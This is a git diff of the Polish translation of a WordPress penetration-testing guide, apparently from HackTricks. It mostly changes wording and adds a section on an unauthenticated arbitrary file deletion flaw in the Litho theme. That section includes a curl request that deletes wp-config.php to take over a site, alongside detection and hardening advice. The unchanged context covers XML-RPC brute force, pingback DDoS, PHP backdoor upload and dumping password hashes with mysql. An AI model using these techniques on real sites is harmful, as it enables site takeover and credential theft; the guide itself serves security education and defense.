diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 45aa7aa7c..07c063173 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,7 +4,7 @@ ## Podstawowe informacje -- **Przesłane** pliki znajdują się w: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **Przesłane** pliki znajdują się pod adresem: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` - **Pliki motywów można znaleźć w /wp-content/themes/,** więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: Używając **motywu twentytwelve** możesz **uzyskać dostęp** do pliku **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Inny przydatny adres URL to:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) @@ -15,7 +15,7 @@ ### **Główne pliki WordPressa** - `index.php` -- `license.txt` zawiera przydatne informacje, takie jak zainstalowana wersja WordPressa. +- `license.txt` zawiera przydatne informacje, takie jak wersja zainstalowanego WordPressa. - `wp-activate.php` jest używany do procesu aktywacji e-maila podczas konfigurowania nowej witryny WordPress. - Foldery logowania (mogą być przemianowane, aby je ukryć): - `/wp-admin/login.php` @@ -26,16 +26,16 @@ - Folder `wp-content` to główny katalog, w którym przechowywane są wtyczki i motywy. - `wp-content/uploads/` to katalog, w którym przechowywane są wszelkie pliki przesłane na platformę. - `wp-includes/` To katalog, w którym przechowywane są pliki rdzeniowe, takie jak certyfikaty, czcionki, pliki JavaScript i widżety. -- `wp-sitemap.xml` W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytalnymi typami postów i taksonomiami. +- `wp-sitemap.xml` W wersjach WordPressa 5.5 i wyższych, WordPress generuje plik XML mapy witryny ze wszystkimi publicznymi postami oraz publicznie zapytującymi typami postów i taksonomiami. -**Post exploitation** +**Post eksploatacja** - Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniające i sól oraz prefiks tabeli bazy danych. Ten plik konfiguracyjny może być również używany do aktywacji trybu DEBUG, co może być przydatne w rozwiązywaniu problemów. ### Uprawnienia użytkowników - **Administrator** -- **Redaktor**: Publikuje i zarządza swoimi oraz innymi postami +- **Redaktor**: Publikuje i zarządza swoimi i innymi postami - **Autor**: Publikuje i zarządza swoimi postami - **Współautor**: Pisze i zarządza swoimi postami, ale nie może ich publikować - **Subskrybent**: Przegląda posty i edytuje swój profil @@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### Wtyczki i motywy -Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i Motywów. Aby odkryć je wszystkie, będziesz musiał **aktywnie przeprowadzić Brute Force na liście Wtyczek i Motywów** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają te listy). +Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i Motywów. Aby je wszystkie odkryć, będziesz musiał **aktywnie przeprowadzić Brute Force na liście Wtyczek i Motywów** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają te listy). ### Użytkownicy @@ -103,7 +103,7 @@ Zauważ, że ten punkt końcowy ujawnia tylko użytkowników, którzy opublikowa Zauważ również, że **/wp-json/wp/v2/pages** może ujawniać adresy IP. -- **Enumeracja nazw użytkowników logowania**: Podczas logowania w **`/wp-login.php`** **wiadomość** jest **inna**, jeśli wskazana **nazwa użytkownika istnieje lub nie**. +- **Enumaracja nazw użytkowników logowania**: Podczas logowania w **`/wp-login.php`** **wiadomość** jest **inna**, jeśli wskazana **nazwa użytkownika istnieje lub nie**. ### XML-RPC @@ -168,18 +168,18 @@ Używając prawidłowych danych uwierzytelniających, możesz przesłać plik. W ``` -Również istnieje **szybszy sposób** na brute-force'owanie poświadczeń za pomocą **`system.multicall`**, ponieważ możesz spróbować kilku poświadczeń w tym samym żądaniu: +Również istnieje **szybszy sposób** na brutalne łamanie haseł za pomocą **`system.multicall`**, ponieważ możesz spróbować kilku haseł w tym samym żądaniu:
**Obejście 2FA** -Ta metoda jest przeznaczona dla programów, a nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Jeśli masz ważne poświadczenia, ale główne wejście jest chronione przez 2FA, **możesz być w stanie wykorzystać xmlrpc.php do zalogowania się z tymi poświadczeniami, omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich działań, które możesz wykonać przez konsolę, ale nadal możesz uzyskać dostęp do RCE, jak wyjaśnia to Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Ta metoda jest przeznaczona dla programów, a nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Jeśli masz ważne dane logowania, ale główne wejście jest chronione przez 2FA, **możesz być w stanie wykorzystać xmlrpc.php do zalogowania się z tymi danymi, omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich działań, które możesz wykonać przez konsolę, ale nadal możesz uzyskać dostęp do RCE, jak wyjaśnia to Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS lub skanowanie portów** Jeśli możesz znaleźć metodę _**pingback.ping**_ na liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego hosta/portu.\ -Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dostęp** do jednej **lokalizacji** (w ten sposób powodowany jest **DDoS** w tej lokalizacji) lub możesz to wykorzystać, aby **Wordpress** mógł **zeskanować** jakąś wewnętrzną **sieć** (możesz wskazać dowolny port). +Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dostęp** do jednej **lokalizacji** (w ten sposób powodując **DDoS** w tej lokalizacji) lub możesz to wykorzystać, aby **Wordpress** mógł **zeskanować** jakąś wewnętrzną **sieć** (możesz wskazać dowolny port). ```html pingback.ping @@ -193,7 +193,7 @@ Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dost Jeśli otrzymasz **faultCode** z wartością **większą** niż **0** (17), oznacza to, że port jest otwarty. -Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużywać tej metody, aby spowodować DDoS. +Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak wykorzystać tę metodę do spowodowania DDoS. **DDoS** ```html @@ -213,11 +213,11 @@ Ten plik zazwyczaj znajduje się w katalogu głównym witryny Wordpress: **`/wp- Gdy ten plik jest **dostępny**, wykonywane jest "**ciężkie**" zapytanie MySQL, więc może być użyty przez **atakujących** do **spowodowania** **DoS**.\ Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym załadowaniu strony (za każdym razem, gdy klient żąda jakiejkolwiek strony Wordpress), co na stronach o dużym ruchu może powodować problemy (DoS). -Zaleca się wyłączenie Wp-Cron i utworzenie rzeczywistego zadania cron na hoście, które wykonuje potrzebne działania w regularnych odstępach czasu (bez powodowania problemów). +Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego zadania cron na hoście, które wykonuje potrzebne działania w regularnych odstępach czasu (bez powodowania problemów). ### /wp-json/oembed/1.0/proxy - SSRF -Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i witryna Worpress może wysłać do Ciebie żądanie. +Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i witryna Wordpress może wysłać do Ciebie żądanie. Oto odpowiedź, gdy to nie działa: @@ -231,7 +231,7 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go To narzędzie sprawdza, czy **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy** istnieją, a jeśli tak, próbuje je wykorzystać. -## Automatic Tools +## Narzędzia automatyczne ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) @@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## Uzyskaj dostęp przez nadpisanie bitu -Więcej niż prawdziwy atak, to ciekawostka. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było zmienić 1 bit w dowolnym pliku wordpress. Można było więc zmienić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zrealizować operację NOP dla NOT (`!`). +Więcej niż prawdziwy atak, to ciekawostka. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) możesz zmienić 1 bit w dowolnym pliku wordpressa. Możesz więc zmienić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zignorować operację NOT (`!`). ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -269,7 +269,7 @@ to get a session. ### PHP plugin Możliwe, że można przesłać pliki .php jako wtyczkę.\ -Utwórz swój php backdoor, używając na przykład: +Utwórz swój backdoor w PHP, używając na przykład: ![](<../../images/image (183).png>) @@ -285,25 +285,25 @@ Kliknij na Procced: ![](<../../images/image (70).png>) -Prawdopodobnie to nic nie zrobi, ale jeśli przejdziesz do Mediów, zobaczysz przesłaną powłokę: +Prawdopodobnie to nic nie zrobi, ale jeśli przejdziesz do Mediów, zobaczysz przesłany shell: ![](<../../images/image (462).png>) -Uzyskaj do niej dostęp, a zobaczysz URL do wykonania odwrotnej powłoki: +Uzyskaj do niego dostęp, a zobaczysz URL do wykonania reverse shell: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin -Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana z podatności i może być wykorzystana do uzyskania powłoki sieciowej. Proces ten przeprowadza się przez pulpit WordPressa w następujący sposób: +Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana jako podatna i może być wykorzystana do uzyskania web shell. Proces ten odbywa się przez pulpit WordPressa w następujący sposób: -1. **Pozyskanie wtyczki**: Wtyczka jest pozyskiwana z źródła takiego jak Exploit DB, jak [**tutaj**](https://www.exploit-db.com/exploits/36374). +1. **Pozyskiwanie wtyczki**: Wtyczka jest pozyskiwana z źródła takiego jak Exploit DB jak [**tutaj**](https://www.exploit-db.com/exploits/36374). 2. **Instalacja wtyczki**: -- Przejdź do pulpitu WordPressa, a następnie do `Pulpit > Wtyczki > Prześlij wtyczkę`. +- Przejdź do pulpitu WordPressa, a następnie do `Dashboard > Plugins > Upload Plugin`. - Prześlij plik zip pobranej wtyczki. -3. **Aktywacja wtyczki**: Po pomyślnej instalacji wtyczka musi być aktywowana przez pulpit. +3. **Aktywacja wtyczki**: Po pomyślnej instalacji wtyczki, musi być ona aktywowana przez pulpit. 4. **Eksploatacja**: -- Z wtyczką "reflex-gallery" zainstalowaną i aktywowaną, można ją wykorzystać, ponieważ jest znana z podatności. +- Z wtyczką "reflex-gallery" zainstalowaną i aktywowaną, można ją wykorzystać, ponieważ jest znana jako podatna. - Framework Metasploit zapewnia exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można nawiązać sesję meterpreter, co daje nieautoryzowany dostęp do witryny. - Zauważono, że to tylko jedna z wielu metod eksploatacji witryny WordPress. @@ -315,14 +315,14 @@ Zawartość zawiera wizualne pomoce ilustrujące kroki w pulpicie WordPressa dot - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ to skrypt zaprojektowany do eskalacji podatności **Cross-Site Scripting (XSS)** do **Remote Code Execution (RCE)** lub innych krytycznych podatności w WordPressie. Aby uzyskać więcej informacji, sprawdź [**ten post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Oferuje **wsparcie dla wersji WordPressa 6.X.X, 5.X.X i 4.X.X oraz pozwala na:** - _**Eskalacja uprawnień:**_ Tworzy użytkownika w WordPressie. -- _**(RCE) Przesyłanie złośliwej wtyczki (backdoor):**_ Prześlij swoją złośliwą wtyczkę (backdoor) do WordPressa. +- _**(RCE) Przesyłanie niestandardowej wtyczki (backdoor):**_ Prześlij swoją niestandardową wtyczkę (backdoor) do WordPressa. - _**(RCE) Edycja wbudowanej wtyczki:**_ Edytuj wbudowane wtyczki w WordPressie. - _**(RCE) Edycja wbudowanego motywu:**_ Edytuj wbudowane motywy w WordPressie. -- _**(Custom) Złośliwe exploity:**_ Złośliwe exploity dla wtyczek/motywów stron trzecich WordPressa. +- _**(Niestandardowe) Niestandardowe exploity:**_ Niestandardowe exploity dla wtyczek/motywów WordPressa innych firm. ## Post Exploitation -Extract usernames and passwords: +Wyciągnij nazwy użytkowników i hasła: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` @@ -332,20 +332,20 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ``` ## Wordpress Plugins Pentest -### Powierzchnia ataku +### Attack Surface -Znajomość tego, jak wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa w celu znalezienia luk w jej funkcjonalności. Możesz znaleźć, jak wtyczka może ujawniać funkcjonalność w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**tym wpisie na blogu**](https://nowotarski.info/wordpress-nonce-authorization/). +Znajomość tego, jak wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa, aby znaleźć luki w jej funkcjonalności. Możesz znaleźć, jak wtyczka może ujawniać funkcjonalność w poniższych punktach oraz kilka przykładów podatnych wtyczek w [**tym wpisie na blogu**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Jednym ze sposobów, w jaki wtyczka może ujawniać funkcje użytkownikom, jest za pośrednictwem handlerów AJAX. Mogą one zawierać błędy logiki, autoryzacji lub uwierzytelniania. Co więcej, dość często te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu nonce Wordpress, który **może mieć każdy użytkownik uwierzytelniony w instancji Wordpress** (niezależnie od jego roli). +Jednym ze sposobów, w jaki wtyczka może ujawniać funkcje, jest za pomocą handlerów AJAX. Mogą one zawierać błędy logiczne, autoryzacyjne lub uwierzytelniające. Co więcej, często zdarza się, że te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu nonce Wordpress, który **może mieć każdy użytkownik uwierzytelniony w instancji Wordpress** (niezależnie od jego roli). To są funkcje, które mogą być używane do ujawniania funkcji w wtyczce: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**Użycie `nopriv` sprawia, że punkt końcowy jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).** +**Użycie `nopriv` sprawia, że punkt końcowy jest dostępny dla wszystkich użytkowników (nawet niezautoryzowanych).** > [!OSTRZEŻENIE] > Ponadto, jeśli funkcja tylko sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, ta funkcja tylko sprawdza, czy użytkownik jest zalogowany, zazwyczaj nie sprawdza roli użytkownika. Tak więc użytkownicy o niskich uprawnieniach mogą mieć dostęp do działań o wysokich uprawnieniach. @@ -362,13 +362,89 @@ $this->namespace, '/get/', array( ) ); ``` -`permission_callback` to funkcja zwrotna, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API. +`permission_callback` to funkcja zwrotna, która sprawdza, czy dany użytkownik ma uprawnienia do wywołania metody API. **Jeśli użyta jest wbudowana funkcja `__return_true`, po prostu pominie sprawdzenie uprawnień użytkownika.** - **Bezpośredni dostęp do pliku php** -Oczywiście, WordPress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Tak więc, w przypadku, gdy wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana po prostu przez dostęp do pliku, będzie to podatne na wykorzystanie przez każdego użytkownika. +Oczywiście, WordPress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Tak więc, w przypadku, gdy wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana po prostu przez dostęp do pliku, będzie to wykorzystywalne przez każdego użytkownika. + +### Nieautoryzowane usuwanie dowolnych plików za pomocą wp_ajax_nopriv (Motyw Litho <= 3.0) + +Motywy i wtyczki WordPressa często ujawniają obsługiwacze AJAX za pomocą haków `wp_ajax_` i `wp_ajax_nopriv_`. Gdy używana jest wersja **_nopriv_**, **callback staje się dostępny dla nieautoryzowanych odwiedzających**, więc każda wrażliwa akcja musi dodatkowo implementować: + +1. **sprawdzenie uprawnień** (np. `current_user_can()` lub przynajmniej `is_user_logged_in()`), oraz +2. **CSRF nonce** weryfikowane za pomocą `check_ajax_referer()` / `wp_verify_nonce()`, oraz +3. **Ścisłą sanitację / walidację wejścia**. + +Motyw wielofunkcyjny Litho (< 3.1) zapomniał o tych 3 kontrolach w funkcji *Usuń rodzinę czcionek* i ostatecznie dostarczył następujący kod (uproszczony): +```php +function litho_remove_font_family_action_data() { +if ( empty( $_POST['fontfamily'] ) ) { +return; +} +$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] ); +$upload_dir = wp_upload_dir(); +$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily; +$filesystem = Litho_filesystem::init_filesystem(); + +if ( file_exists( $srcdir ) ) { +$filesystem->delete( $srcdir, FS_CHMOD_DIR ); +} +die(); +} +add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); +add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); +``` +Problemy wprowadzone przez ten fragment: + +* **Nieautoryzowany dostęp** – zarejestrowano hak `wp_ajax_nopriv_`. +* **Brak sprawdzenia nonce / uprawnień** – każdy odwiedzający może uzyskać dostęp do punktu końcowego. +* **Brak sanitizacji ścieżki** – ciąg `fontfamily` kontrolowany przez użytkownika jest łączony z ścieżką systemu plików bez filtrowania, co pozwala na klasyczne przejście `../../`. + +#### Wykorzystanie + +Napastnik może usunąć dowolny plik lub katalog **poniżej katalogu głównego przesyłania** (zwykle `/wp-content/uploads/`) wysyłając pojedyncze żądanie HTTP POST: +```bash +curl -X POST https://victim.com/wp-admin/admin-ajax.php \ +-d 'action=litho_remove_font_family_action_data' \ +-d 'fontfamily=../../../../wp-config.php' +``` +Ponieważ `wp-config.php` znajduje się poza *uploads*, cztery sekwencje `../` są wystarczające w domyślnej instalacji. Usunięcie `wp-config.php` zmusza WordPress do uruchomienia *kreatora instalacji* przy następnej wizycie, co umożliwia pełne przejęcie strony (atakujący jedynie podaje nową konfigurację DB i tworzy użytkownika administratora). + +Inne istotne cele to pliki `.php` wtyczek/motywów (aby złamać wtyczki zabezpieczające) lub reguły `.htaccess`. + +#### Lista kontrolna wykrywania + +* Każdy `add_action( 'wp_ajax_nopriv_...')` callback, który wywołuje pomocniki systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.). +* Konkatenacja niesanitowanych danych wejściowych użytkownika w ścieżkach (szukaj `$_POST`, `$_GET`, `$_REQUEST`). +* Brak `check_ajax_referer()` oraz `current_user_can()`/`is_user_logged_in()`. + +#### Wzmacnianie +```php +function secure_remove_font_family() { +if ( ! is_user_logged_in() ) { +wp_send_json_error( 'forbidden', 403 ); +} +check_ajax_referer( 'litho_fonts_nonce' ); + +$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) ); +$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily; + +if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) { +wp_send_json_error( 'invalid path', 400 ); +} +// … proceed … +} +add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' ); +// 🔒 NO wp_ajax_nopriv_ registration +``` +> [!TIP] +> **Zawsze** traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i podwójnie sprawdź: +> • Uwierzytelnienie • Autoryzacja • Nonce • Sanityzacja wejścia • Ograniczenie ścieżki (np. za pomocą `realpath()` oraz `str_starts_with()`). + +--- ## Ochrona WordPressa @@ -393,7 +469,11 @@ Również, **instaluj tylko zaufane wtyczki i motywy WordPress**. - Usuń domyślnego użytkownika **admin** - Używaj **silnych haseł** i **2FA** - Okresowo **przeglądaj** uprawnienia użytkowników -- **Ogranicz próby logowania** w celu zapobiegania atakom Brute Force +- **Ogranicz próby logowania**, aby zapobiec atakom Brute Force - Zmień nazwę pliku **`wp-admin.php`** i zezwól na dostęp tylko wewnętrznie lub z określonych adresów IP. +## Referencje + +- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) + {{#include ../../banners/hacktricks-training.md}}